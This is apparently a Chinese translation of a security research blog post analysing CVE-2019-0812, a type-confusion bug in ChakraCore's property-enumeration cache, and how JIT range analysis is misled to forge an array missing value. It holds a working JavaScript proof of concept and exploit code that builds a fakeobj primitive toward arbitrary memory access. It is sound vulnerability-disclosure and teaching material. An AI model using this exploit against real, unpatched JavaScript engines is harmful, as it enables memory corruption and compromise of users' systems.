非JIT漏洞与JIT利用:ChakraCore中的类型混淆攻击

本文详细分析了ChakraCore引擎中的CVE-2019-0812漏洞,通过属性枚举缓存错误导致类型混淆,结合JIT编译器的类型推断和范围分析,实现数组缺失值的伪造与利用,最终达成任意地址读写。

非JIT漏洞,JIT利用 - phoenhex团队

2019年5月15日

作者:bkth, S0rryMyBad

今天我们发布第一篇关于CVE-2019-0812的博客文章,特邀嘉宾和朋友S0rryMyBad共同参与。传统上,中国研究社区与其他研究人员之间的合作并不多。但由于我们都对ChakraCore着迷,在过去几个月里能够交流想法,很高兴今天能共同呈现这篇博客文章。希望这能带来未来更多的合作!

漏洞详情

与其他引擎类似,JavaScript对象在内部表示为DynamicObject,它们不维护属性名到属性值的映射。相反,它们只维护属性值,并有一个名为type的字段,指向Type对象,该对象能够将属性名映射到属性值数组的索引。

在Chakra中,JavaScript代码最初通过解释器运行,如果函数被重复调用,最终会被调度进行JIT编译。为了加速解释器中的执行,某些操作(如属性读取和写入)可以被缓存,以避免每次访问给定属性时进行类型查找。本质上,这些Cache对象将属性名(内部为PropertyId)与索引关联,以检索属性或写入属性。

可能导致使用此类缓存的操作之一是通过for..in循环进行属性枚举。属性枚举最终会到达被枚举对象的类型处理程序(它是对象Type的一部分)中的以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
template<size_t size>
BOOL SimpleTypeHandler<size>::FindNextProperty(ScriptContext* scriptContext, PropertyIndex& index, JavascriptString** propertyStringName,
    PropertyId* propertyId, PropertyAttributes* attributes, Type* type, DynamicType *typeToEnumerate, EnumeratorFlags flags, DynamicObject* instance, PropertyValueInfo* info)
{
    Assert(propertyStringName);
    Assert(propertyId);
    Assert(type);

    for( ; index < propertyCount; ++index )
    {
        PropertyAttributes attribs = descriptors[index].Attributes;
        if( !(attribs & PropertyDeleted) && (!!(flags & EnumeratorFlags::EnumNonEnumerable) || (attribs & PropertyEnumerable)))
        {
            const PropertyRecord* propertyRecord = descriptors[index].Id;

            // Skip this property if it is a symbol and we are not including symbol properties
            if (!(flags & EnumeratorFlags::EnumSymbols) && propertyRecord->IsSymbol())
            {
                continue;
            }

            if (attributes != nullptr)
            {
                *attributes = attribs;
            }

            *propertyId = propertyRecord->GetPropertyId();
            PropertyString * propStr = scriptContext->GetPropertyString(*propertyId);
            *propertyStringName = propStr;

            PropertyValueInfo::SetCacheInfo(info, propStr, propStr->GetLdElemInlineCache(), false);
            if ((attribs & PropertyWritable) == PropertyWritable)
            {
                PropertyValueInfo::Set(info, instance, index, attribs); // [[ 1 ]]
            }
            else
            {
                PropertyValueInfo::SetNoCache(info, instance);
            }
            return TRUE;
        }
    }
    PropertyValueInfo::SetNoCache(info, instance);

    return FALSE;
}

有两个有趣的事情需要注意:第一个是在[[ 1 ]]处,PropertyValueInfo使用相关的实例、索引和attribs进行更新;第二个是该方法使用两个Type对象调用:type和typeToEnumerate。

然后,PropertyValueInfo稍后用于在void CacheOperators::CachePropertyRead中为该属性创建Cache。

这里需要认识到的一个特殊点是,在FindNextProperty代码中,即使传递了两个Type对象作为参数,PropertyValueInfo对象在任何情况下都会被更新。如果这两个类型不同会怎样?这是否意味着缓存信息会为错误的类型更新?

事实证明,这正是发生的情况,以下PoC说明了这种行为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function poc(v) {
	var tmp = new String("aa");
	tmp.x = 2;
	once = 1;
	for (let useless in tmp) {
		if (once) {
			delete tmp.x;
			once = 0;
		}
		tmp.y = v;
		tmp.x = 1;
	}
	return tmp.x;
}

console.log(poc(5));

如果你看这段代码,你会期望它打印1,但它会打印5。所以似乎通过执行return tmp.x,它会获取属性tmp.y的有效值。

这与我们从分析FindNextProperty代码中期望观察到的行为一致:当我们删除tmp.x然后设置tmp.y和tmp.x时,我们最终在对象中得到tmp.y在索引0处,tmp.x在索引1处。然而,在初始被枚举的类型中,tmp.x在索引0处。因此,新类型的缓存信息将被更新,说明tmp.x在偏移量0处,并在执行return tmp.x时进行直接索引访问。

为了利用这个非JIT漏洞,正如标题所示,我们实际上将使用JIT编译器来帮助我们。我们需要引入这些概念以便理解。

这个方法是S0rryMyBad的想法,所以所有的功劳都归他。

先决条件

JIT代码中的内联缓存

简而言之,为了优化属性访问,JIT代码可以依赖Cache对象生成类型检查序列,如果类型匹配,则进行直接属性访问。这基本上对应于以下指令序列:

1
2
3
4
5
6
7
type = object.type
cachedType = Cache.cachedType
if type == cachedType:
    index = Cache.propertyIndex
    property = object.properties[index]
else:
    property = Runtime::GetProperty(object, propertyName)

JIT编译器中的类型推断和范围分析

Chakra的JIT编译器在使用最高层级的JIT编译器时,使用前向传递算法执行优化。该算法在控制流图(CFG)上工作,并以前向方向访问每个块。作为处理新块的第一步,从其每个前驱收集的信息被合并。

其中一个信息是变量的类型和范围。

让我们使用以下示例突出显示此行为:

1
2
3
4
5
6
7
8
9
function opt(flag) {
    let tmp = {};
    tmp.x = 1;
    if (flag) {
        tmp.x = 2;
    }
    
    ...
}

这大致对应于以下CFG:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
function opt(flag) {
    // Block 1
    let tmp = {};
    tmp.x = 1;
    if (flag) {
    // End of Block 1, Successors 2, 3

        // Block 2: Predecessor 1    
        tmp.x = 2;
        // End of Block 2: Successor 3
    
    }

    // Block 3: Predecessors 1, 2
}

当JIT开始处理块3时,它将合并来自块1的类型信息,该信息指定tmp.x是范围[1,1]内的整数,与来自块2的类型信息,指定tmp.x是范围[2,2]内的整数。

这些类型的并集是范围[1,2]内的整数,并将被分配给块3开头的tmp.x值。

Chakra中的数组

数组通常是重度优化的目标——参见我们上一篇关于JavaScriptCore中由于此原因导致的错误的博客文章。在Chakra中,大多数数组具有三种不同的存储模式之一:

  • NativeIntArray:每个元素存储为未装箱的4字节整数。
  • NativeFloatArray:每个元素存储为未装箱的8字节浮点数。
  • JavascriptArray:每个元素以其默认的装箱表示形式存储(1存储为0x0001000000000001)。

除此之外,对象将携带有关数组的信息,这些信息有助于进一步优化。一个著名的是HasNoMissingValues标志,该标志指示索引0到length - 1之间的每个值都已设置。

缺失值是魔法值,在RuntimeCommon.h中定义如下:

1
2
3
const uint64 VarMissingItemPattern = 0x00040002FFF80002;
const uint64 FloatMissingItemPattern = 0xFFF80002FFF80002;
const int32 IntMissingItemPattern = 0xFFF80002;

如果你能够创建一个具有缺失值且设置了HasNoMissingValues标志的数组,那么游戏就结束了,因为可以从这一点开始使用现成的利用技术。

BailOutConventionalNativeArrayAccessOnly

在优化数组存储操作时,JIT将使用类型信息来检查此存储是否可能产生缺失值。如果JIT不能确定这不会发生,它将生成一个带有bailout指令的缺失值检查。

这些操作由StElem系列的IR指令表示,上述决策将在GlobOpt.cpp中的GlobOpt::TypeSpecializeStElem(IR::Instr ** pInstr, Value *src1Val, Value **pDstVal)方法中做出。

该方法的代码太大,无法包含,但主要逻辑如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
bool bConvertToBailoutInstr = true;
// Definite StElemC doesn't need bailout, because it can't fail or cause conversion.
if (instr->m_opcode == Js::OpCode::StElemC && baseValueType.IsObject())
{
    if (baseValueType.HasIntElements())
    {
        //Native int array requires a missing element check & bailout
        int32 min = INT32_MIN;
        int32 max = INT32_MAX;

        if (src1Val->GetValueInfo()->GetIntValMinMax(&min, &max, false)) // [[ 1 ]]
        {
            bConvertToBailoutInstr = ((min <= Js::JavascriptNativeIntArray::MissingItem) && (max >= Js::JavascriptNativeIntArray::MissingItem)); // [[ 2 ]]
        }
    }
    else
    {
        bConvertToBailoutInstr = false;
    }
}

我们可以看到,它在[[ 1 ]]处获取valueInfo的下界和上界,然后检查是否可以移除bailout(bConvertToBailoutInstr == false)。

串联起来

我们可以使用所学知识创建一个引擎不知道的具有缺失值的数组。为了实现这一点,我们使用我们的漏洞生成一个Cache,其中包含关于对象某个属性位置的错误信息。

这反过来导致JIT执行的类型推断和范围分析结果错误。因此,我们可以分配一个JIT推断不能包含缺失值的数组。因此,它不会生成bailout,我们可以滥用这一点。以下代码片段说明了这一点:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
function opt(index) {
	var tmp = new String("aa");
	tmp.x = 2;
	once = 1;
	for (let useless in tmp) {
		if (once) {
			delete tmp.x;
			once = 0;
		}
		tmp.y = index;
		tmp.x = 1;
	}
	return [1, tmp.x - 524286]; // 伪造缺失值0xfff80002 [[ 1 ]]
}

for (let i = 0; i < 0x1000; i++) {
	opt(1);
}

evil = opt(0);
evil[0] = 1.1;

在上述代码中发生的情况是,JIT假定tmp.x在范围[1, 2]内,在[[ 1 ]]处。然后,它将优化数组创建以省略我们写的bailout检查,因为它推断1 - 524286和2 - 524286都不是缺失值。然而,通过使用我们的漏洞,tmp.x实际上将是0,因此tmp.x - 524286将是0xfff80002,即IntMissingItemPattern。

然后,我们只需设置一个简单的浮点数将此数组转换为NativeFloatArray。

以下代码突出了从这里派生fakeobj原语是多么容易:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;

function hex(x) {
    return `0x${x.toString(16)}`
}

function i2f(x) {
    u32[0] = x % BASE;
    u32[1] = (x - (x % BASE)) / BASE;
    return f64[0];
}

function f2i(x) {
    f64[0] = x;
    return u32[0] + BASE * u32[1];
}

// 该漏洞让我们更新错误类型的CacheInfo,因此我们可以创建一个错误的内联缓存。
// 我们用它来混淆JIT,使其认为tmp.x的ValueInfo是1或2
// 而实际上我们的漏洞将让我们通过tmp.y写入tmp.x。
// 我们可以用它来伪造一个具有HasNoMissingValues标志的缺失值数组
function opt(index) {
	var tmp = new String("aa");
	tmp.x = 2;
	once = 1;
	for (let useless in tmp) {
		if (once) {
			delete tmp.x;
			once = 0;
		}
		tmp.y = index;
		tmp.x = 1;
	}
	return [1, tmp.x - 524286]; // 伪造缺失值0xfff80002
}

for (let i = 0; i < 0x1000; i++) {
	opt(1);
}

evil = opt(0);
evil[0] = 1.1;
// evil现在是一个NativeFloatArray,具有缺失值,但引擎不知道它


function fakeobj(addr) {
    function opt2(victim, magic_arr, hax, addr){
        let magic = magic_arr[1];
        victim[0] = 1.1;
        hax[0x100] = magic;   // 将浮点数组更改为Var数组
        victim[0] = addr;   // 将未装箱的双精度存储到Var数组
    }

    for (let i = 0; i < 10000; i++){
        let ary = [2,3,4,5,6.6,7,8,9];
        delete ary[1];
        opt2(ary, [1.1,2.2], ary, 1.1);
    }

    let victim = [1.1,2.2];

    opt2(victim, evil, victim, i2f(addr));
    return victim[0];
}
print(fakeobj(0x12345670));

结论

修复已在四月的服务更新中发布,提交如下。正如我们所看到的,即使漏洞在解释器中,JIT编译器提供了一定程度的自由,在某些情况下可以用来滥用否则难以利用的非JIT漏洞。希望你喜欢我们的博客文章谢谢:)。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计